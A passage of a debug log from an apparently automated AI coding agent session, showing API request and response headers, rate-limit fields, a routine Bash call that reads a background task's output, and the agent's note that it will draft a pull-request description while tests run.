[STDOUT]     \"cf-ray\": \"a429775e8bcd5d90-FRA\",\n[2026-09-29T08:02:34.322Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:34.324Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:34.326Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:34.329Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:34.331Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:34 GMT\",\n[2026-09-29T08:02:34.334Z] [STDOUT]     \"request-id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:34.338Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:34.340Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:34.345Z] [STDOUT]     traceresponse: \"00-9f10720e043efdb724f2d1bdb1279ee3-ae24ed8fc2f03316-01\",\n[2026-09-29T08:02:34.347Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:34.349Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:34.351Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:34.354Z] [STDOUT]   },\n[2026-09-29T08:02:34.356Z] [STDOUT]   durationMs: 893,\n[2026-09-29T08:02:34.358Z] [STDOUT] }\n[2026-09-29T08:02:34.361Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:34.365Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:34 GMT\",\n[2026-09-29T08:02:34.370Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:34.373Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:34.379Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:34.386Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:34.388Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:34.390Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:34.393Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:34.395Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:34.397Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:34.399Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:34.404Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:34.407Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:34.411Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:34.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:34.418Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:34.420Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.423Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:34.427Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:34.430Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:34.433Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:34.437Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.440Z] [STDOUT]   \"request-id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:34.443Z] [STDOUT]   \"traceresponse\": \"00-9f10720e043efdb724f2d1bdb1279ee3-ae24ed8fc2f03316-01\",\n[2026-09-29T08:02:34.456Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:34.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:34.463Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:34.466Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:34.469Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:34.471Z] [STDOUT]   \"cf-ray\": \"a429775e8bcd5d90-FRA\",\n[2026-09-29T08:02:34.474Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:34.477Z] [STDOUT] [log_135a26] response parsed {\n[2026-09-29T08:02:34.480Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:34.483Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:34.486Z] [STDOUT]   body: X {\n[2026-09-29T08:02:34.489Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:34.492Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:34.495Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:34.497Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:34.500Z] [STDOUT]     },\n[2026-09-29T08:02:34.502Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:34.505Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:34.507Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:34.511Z] [STDOUT]   },\n[2026-09-29T08:02:34.513Z] [STDOUT]   durationMs: 894,\n[2026-09-29T08:02:34.517Z] [STDOUT] }\n[2026-09-29T08:02:35.489Z] [INFO] {\n[2026-09-29T08:02:35.489Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"message\": {\n[2026-09-29T08:02:35.489Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"id\": \"msg_011CfXP4b3m1scjRxR4kzviw\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:35.489Z] [INFO]     \"content\": [\n[2026-09-29T08:02:35.489Z] [INFO]       {\n[2026-09-29T08:02:35.489Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"id\": \"toolu_01BiNF4Pt8etidyczS8ygNz7\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:35.489Z] [INFO]         \"input\": {\n[2026-09-29T08:02:35.489Z] [INFO]           \"command\": \"cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -5\",\n[2026-09-29T08:02:35.489Z] [INFO]           \"description\": \"Check execution-package test result\"\n[2026-09-29T08:02:35.489Z] [INFO]         },\n[2026-09-29T08:02:35.489Z] [INFO]         \"caller\": {\n[2026-09-29T08:02:35.489Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:02:35.489Z] [INFO]         }\n[2026-09-29T08:02:35.489Z] [INFO]       }\n[2026-09-29T08:02:35.489Z] [INFO]     ],\n[2026-09-29T08:02:35.489Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:35.489Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_creation_input_tokens\": 3755,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_read_input_tokens\": 83028,\n[2026-09-29T08:02:35.489Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:35.489Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:35.489Z] [INFO]         \"ephemeral_1h_input_tokens\": 3755\n[2026-09-29T08:02:35.489Z] [INFO]       },\n[2026-09-29T08:02:35.489Z] [INFO]       \"output_tokens\": 17,\n[2026-09-29T08:02:35.489Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:35.489Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:35.489Z] [INFO]     },\n[2026-09-29T08:02:35.489Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:35.489Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:35.489Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:35.489Z] [INFO]   },\n[2026-09-29T08:02:35.489Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:35.489Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"uuid\": \"607461cf-0469-4336-ad81-eff167abcbf1\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:35.473Z\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"request_id\": \"req_011CfXP4aXkgh2uU7cGxAUu2\",\n[2026-09-29T08:02:35.489Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:02:35.489Z] [INFO]     \"toolu_01BiNF4Pt8etidyczS8ygNz7\": {\n[2026-09-29T08:02:35.489Z] [INFO]       \"command\": \"cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -5\",\n[2026-09-29T08:02:35.489Z] [INFO]       \"description\": \"Check execution-package test result\"\n[2026-09-29T08:02:35.489Z] [INFO]     }\n[2026-09-29T08:02:35.489Z] [INFO]   }\n[2026-09-29T08:02:35.489Z] [INFO] }\n[2026-09-29T08:02:37.865Z] [INFO] {\n[2026-09-29T08:02:37.865Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"message\": {\n[2026-09-29T08:02:37.865Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"content\": [\n[2026-09-29T08:02:37.865Z] [INFO]       {\n[2026-09-29T08:02:37.865Z] [INFO]         \"tool_use_id\": \"toolu_01BiNF4Pt8etidyczS8ygNz7\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"content\": \"PyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:02:37.865Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:37.865Z] [INFO]       }\n[2026-09-29T08:02:37.865Z] [INFO]     ]\n[2026-09-29T08:02:37.865Z] [INFO]   },\n[2026-09-29T08:02:37.865Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:37.865Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"uuid\": \"c54e6136-921f-45fa-b8a4-a208c78d2d7f\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:37.856Z\",\n[2026-09-29T08:02:37.865Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:37.865Z] [INFO]     \"stdout\": \"PyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:37.865Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:37.865Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:37.865Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:37.865Z] [INFO]   }\n[2026-09-29T08:02:37.865Z] [INFO] }\n[2026-09-29T08:02:37.948Z] [STDOUT] [log_54f062] sending request {\n[2026-09-29T08:02:37.957Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:37.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:37.964Z] [STDOUT]   options: {\n[2026-09-29T08:02:37.972Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:37.974Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:37.979Z] [STDOUT]     body: {\n[2026-09-29T08:02:37.986Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:37.990Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:37.994Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:37.999Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:38.002Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:38.008Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:38.013Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:38.020Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:38.024Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:38.035Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:38.040Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:38.055Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:38.060Z] [STDOUT]     },\n[2026-09-29T08:02:38.065Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:38.070Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:38.080Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:38.088Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:38.091Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:38.098Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:38.106Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:38.120Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:38.127Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:38.133Z] [STDOUT]     },\n[2026-09-29T08:02:38.142Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:38.146Z] [STDOUT]   },\n[2026-09-29T08:02:38.160Z] [STDOUT]   headers: {\n[2026-09-29T08:02:38.163Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:38.171Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:38.182Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:38.199Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:38.207Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:38.278Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:38.288Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:38.312Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:38.319Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:38.322Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2293\",\n[2026-09-29T08:02:38.330Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:38.335Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:38.340Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:38.346Z] [STDOUT]     \"x-client-request-id\": \"c39ebb10-e715-4717-94b0-93ba3f965b5f\",\n[2026-09-29T08:02:38.349Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:38.355Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:38.360Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:38.376Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:38.383Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:38.394Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:38.398Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:38.402Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:38.409Z] [STDOUT]   },\n[2026-09-29T08:02:38.413Z] [STDOUT] }\n[2026-09-29T08:02:39.049Z] [STDOUT] [log_54f062, request-id: \"req_011CfXP4v9DXyawg9sgKmcX1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1071ms\n[2026-09-29T08:02:39.057Z] [STDOUT] [log_54f062] response start {\n[2026-09-29T08:02:39.071Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:39.074Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:39.080Z] [STDOUT]   headers: {\n[2026-09-29T08:02:39.088Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:39.098Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:39.105Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:39.110Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:39.114Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:39.121Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.133Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:39.138Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:39.162Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:39.167Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:39.170Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:39.172Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:39.181Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:39.186Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.191Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:39.195Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:39.202Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:39.205Z] [STDOUT]     \"cf-ray\": \"a429777b3f5a5d90-FRA\",\n[2026-09-29T08:02:39.207Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:39.209Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:39.212Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:39.215Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:39.217Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:38 GMT\",\n[2026-09-29T08:02:39.219Z] [STDOUT]     \"request-id\": \"req_011CfXP4v9DXyawg9sgKmcX1\",\n[2026-09-29T08:02:39.221Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:39.223Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:39.227Z] [STDOUT]     traceresponse: \"00-4beea3c1df9ffd90f7b953dff6109c90-df09fdd070ddb3d8-01\",\n[2026-09-29T08:02:39.229Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:39.231Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:39.234Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:39.236Z] [STDOUT]   },\n[2026-09-29T08:02:39.238Z] [STDOUT]   durationMs: 1071,\n[2026-09-29T08:02:39.240Z] [STDOUT] }\n[2026-09-29T08:02:39.242Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:39.244Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:38 GMT\",\n[2026-09-29T08:02:39.247Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:39.249Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:39.251Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:39.254Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:39.256Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:39.258Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:39.261Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:39.265Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:39.267Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:39.283Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:39.287Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:39.290Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:39.293Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:39.295Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:39.297Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:39.299Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.301Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:39.303Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:39.306Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:39.310Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:39.314Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.316Z] [STDOUT]   \"request-id\": \"req_011CfXP4v9DXyawg9sgKmcX1\",\n[2026-09-29T08:02:39.318Z] [STDOUT]   \"traceresponse\": \"00-4beea3c1df9ffd90f7b953dff6109c90-df09fdd070ddb3d8-01\",\n[2026-09-29T08:02:39.320Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:39.322Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:39.324Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:39.327Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:39.329Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:39.330Z] [STDOUT]   \"cf-ray\": \"a429777b3f5a5d90-FRA\",\n[2026-09-29T08:02:39.332Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:39.335Z] [STDOUT] [log_54f062] response parsed {\n[2026-09-29T08:02:39.338Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:39.340Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:39.341Z] [STDOUT]   body: X {\n[2026-09-29T08:02:39.344Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:39.348Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:39.354Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:39.356Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:39.362Z] [STDOUT]     },\n[2026-09-29T08:02:39.366Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:39.372Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:39.382Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:39.387Z] [STDOUT]   },\n[2026-09-29T08:02:39.395Z] [STDOUT]   durationMs: 1076,\n[2026-09-29T08:02:39.404Z] [STDOUT] }\n[2026-09-29T08:02:39.409Z] [INFO] {\n[2026-09-29T08:02:39.409Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"message\": {\n[2026-09-29T08:02:39.409Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"id\": \"msg_011CfXP4vfxWYfkGcbiq69PK\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"content\": [\n[2026-09-29T08:02:39.409Z] [INFO]       {\n[2026-09-29T08:02:39.409Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:02:39.409Z] [INFO]         \"text\": \"Still running. I'll write the PR body in the meantime.\"\n[2026-09-29T08:02:39.409Z] [INFO]       }\n[2026-09-29T08:02:39.409Z] [INFO]     ],\n[2026-09-29T08:02:39.409Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:39.409Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_creation_input_tokens\": 206,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_read_input_tokens\": 86783,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:39.409Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:39.409Z] [INFO]         \"ephemeral_1h_input_tokens\": 206\n[2026-09-29T08:02:39.409Z] [INFO]       },\n[2026-09-29T08:02:39.409Z] [INFO]       \"output_tokens\": 39,\n[2026-09-29T08:02:39.409Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:39.409Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:39.409Z] [INFO]     },\n[2026-09-29T08:02:39.409Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:39.409Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:39.409Z] [INFO]   },\n[2026-09-29T08:02:39.409Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:39.409Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"uuid\": \"4477c6dc-b8e9-4e73-a4ab-bf2453c9e18e\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:39.070Z\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"request_id\": 